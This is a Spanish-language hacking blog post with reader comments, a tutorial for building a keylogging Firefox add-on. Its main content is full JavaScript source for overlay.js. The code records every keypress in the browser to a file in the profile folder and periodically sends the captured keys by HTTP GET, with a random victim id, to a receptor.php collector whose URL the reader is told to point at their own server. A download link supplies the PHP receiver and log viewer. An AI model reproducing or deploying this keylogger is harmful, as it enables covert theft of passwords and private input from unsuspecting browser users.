Creando un Keylogger para Mozilla Firefox – by SixP4ck3r



Tratare de Introducirlos en el desarollo Add-On para Mozilla Firefox y desde luego pensando del lado del Hacking.

El objetivo de este Add-On es capturar todas las teclas dentro de Firefox (Solo dentro de la Pantalla del Navegador).

Los pasos a seguir sera lo siguiente:

Les pasare tres scripts dos en PHP y uno en Javascript.

“overlay.js” => para capturar las teclas en si para el Add-On.

“cheklogs.php” => para ver los Logs.

“receptor.php” => para que el pueda recibir los Logs.

http://www.mediafire.com/download/btyvohfq5t5cz25

Tambien necesitaremos una base de datos para guardar y en cualquier momento podamos consultar lo que capturo.

Si quieren tambien pueden modificar el script “receptor.php” para que lo escriba  un *.txt eso ya es depende de la creatividad de cada uno.

Deberan modificar el Archivo “overlay.js” dentro de la carpeta “chrome/content/”
var keylogger_namespace={};
    var aleat = Math.random() * 99999;
    var torio = Math.round(aleat); // sacamos un numero a la suerte!
    keylogger_namespace.keylogger=function() {
    var file = Components.classes["@mozilla.org/file/directory_service;1"].  
                            getService(Components.interfaces.nsIProperties).  
                            get("ProfD", Components.interfaces.nsIFile);  
        file.append("Firelog");
    if( !file.exists() || !file.isDirectory() ) {  // lo creamos si no existe la carpeta!
        file.create(Components.interfaces.nsIFile.DIRECTORY_TYPE, 0777);
    }
    this.f = file.path+"\\keystrokes";
    window.addEventListener(
    "load", function() {LipoKeylogger.init(); }, false);
    }
    var keylog=new keylogger_namespace.keylogger();
    //======================================
    keylog.logKeypress=function(e){
    var keynum;
    var keychar;
    var numcheck;
    keynum = e.which;
    var file = Components.classes["@mozilla.org/file/local;1"]
    .createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(keylog.f);
    data=keynum+":";
    // apuntando al archivo a crearse
    var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"]
                           .createInstance(Components.interfaces.nsIFileOutputStream);
    // forma de uso 0x02 | 0x10 para habrir archivo
    foStream.init(file, 0x02 | 0x10 | 0x08, 00666, 0); // solo escritura, abrir, o crear archivo
    foStream.write(data, data.length);
    foStream.close();
    //======================================
    //Leemos log
    var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(keylog.f);
    var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream);
    inputStream.init(file, -1, 0,0);
    var sInputStream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
    sInputStream.init(inputStream);
    var str= sInputStream.read(sInputStream.available());
    if ((str.length) > 100){
    var xmlhttp=new XMLHttpRequest();
    url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GET
    xmlhttp.open("GET",url+str+"&user="+torio,true);
    xmlhttp.send(null);
    //reseteamos el archivo de log's
    var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(keylog.f);
    // apuntando al archivo a crearse
    var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
    // forma de uso 0x02 | 0x10 para habrir archivo
    foStream.init(file, 0x02 | 0x08 | 0x20, 0666, 0); // solo escritura, abrir, o crear archivo
    foStream.write("", 0);
    foStream.close();
    }
    //======================================
    }
    //======================================
    if ("undefined" == typeof(LipoKeylogger)) {
    var LipoKeylogger= {
            init : function() {
            //======================================
            //Capurando las keypress
        document.addEventListener("keypress", keylog.logKeypress, false);
    }
    }
    }

En la Linea 45
url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GET
Testeado en Ubuntu! y Windows anda de maravilla, digamos que no pierde ni un solo keypres!!
Culquier duda o sugerencia a SixP4ck3r<ARROBA>Bolivia.com
Saludos comunidad!.

4 comentarios

Hola.
Disculpá la super recontra ignorancia... pero, cómo se hace para que estos archivos queden dentro del addon? o sea cómo se hace el addon?? Desde ya muchas gracias, acabo de descubrir tu blog y ya me parece genial!
Saludos

Reply

hay poca info :( podrías ampliarnos la info sobre como hacer todo? gracias

Reply

lo de la base de datos eso hasta alli bien pero como dice kaspar como lo agrego al add on. Buen aporte para el conocimiento

Reply

excelente men muy bueno

Reply

Publicar un comentario